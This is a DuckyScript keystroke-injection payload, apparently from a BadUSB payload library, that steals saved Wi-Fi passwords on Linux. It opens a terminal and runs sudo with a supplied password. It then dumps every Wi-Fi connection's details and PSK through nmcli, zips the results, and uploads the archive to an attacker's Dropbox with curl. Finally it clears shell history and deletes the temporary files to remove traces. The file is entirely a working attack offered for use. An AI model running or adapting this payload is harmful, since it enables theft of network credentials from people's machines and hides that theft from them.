Path: blob/master/payloads/library/credentials/ExfiltrateWiFiPasswords_Linux/payload.txt
3020 views
1REM #######################################################2REM # |3REM # Title : Exfiltrate Wifi Passwords - Linux |4REM # Author : Aleff |5REM # Version : 1.0 |6REM # Category : Exfiltration, Credentials, Execution |7REM # Target : Linux |8REM # |9REM #######################################################1011REM Requirements:12REM - Permissions13REM - Internet connection14REM - Dropbox Token1516DELAY 100017CTRL-ALT t18DELAY 2000192021REM #### PREREQUISITES SECTION ####222324REM Required: You need to know the sudo password and replace 'example' with this25DEFINE SUDO_PASS example26STRING sudo su27ENTER2829DELAY 100030STRING SUDO_PASS31ENTER3233DELAY 200034REM Required: Set here your Dropbox access TOKEN35DEFINE TOKEN example36STRING ACCESS_TOKEN="37STRING TOKEN38STRING "39ENTER404142REM #### ZIP SECTION ####434445DELAY 50046STRING RANDOM=$(shuf -i 1-999999999999 -n 1)47ENTER4849DELAY 50050STRING ZIP_NAME="$RANDOM.zip"51ENTER5253DELAY 50054STRING TMP_FOLDER_PATH=$(mktemp -d -p "/home" prefix-XXXXXXXXXX)55ENTER5657DELAY 50058STRING ZIP_PATH="/home/$ZIP_NAME"59ENTER606162REM #### WiFi && ZIP SECTION ####636465REM Get all WiFi data66STRING for conn in $(nmcli connection show | grep wifi | awk '{print $1}'); do67ENTER68DELAY 50069STRING nmcli connection show $conn >> "$TMP_FOLDER_PATH/output_verbose.txt" -70ENTER71DELAY 50072STRING nmcli connection show $conn | grep psk >> "$TMP_FOLDER_PATH/output.txt" -73ENTER74DELAY 50075STRING done76ENTER77DELAY 50078REM Wifi exfiltration command time - It depends79DELAY 10008081STRING zip -r "$ZIP_PATH" "$TMP_FOLDER_PATH"82REM Zip operation time - It depends83DELAY 3000848586REM #### EXFILTRATE SECTION ####878889REM Set yout Dropbox folder name90DEFINE DROPBOX_FOLDER_NAME example91STRING DROPBOX_FOLDER="/92ENTER93STRING DROPBOX_FOLDER_NAME94ENTER95STRING "96ENTER97DELAY 5009899DEFINE DROPBOX_API_CONST https://content.dropboxapi.com/2/files/upload100STRING curl -X POST101STRING DROPBOX_API_CONST102STRING --header "Authorization: Bearer $ACCESS_TOKEN" --header "Dropbox-API-Arg: {\"path\": \"$DROPBOX_FOLDER\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" --header "Content-Type: application/octet-stream" --data-binary "@$ZIP_PATH"103ENTER104105106REM #### REMOVE TRACES ####107108109DELAY 2000110STRING history -c111ENTER112113DELAY 500114STRING rm -rf "$TMP_FOLDER_PATH"115ENTER116117DELAY 500118STRING rm -rf "$ZIP_PATH"119ENTER120121DELAY 500122STRING exit123ENTER124125DELAY 500126STRING exit127ENTER128129130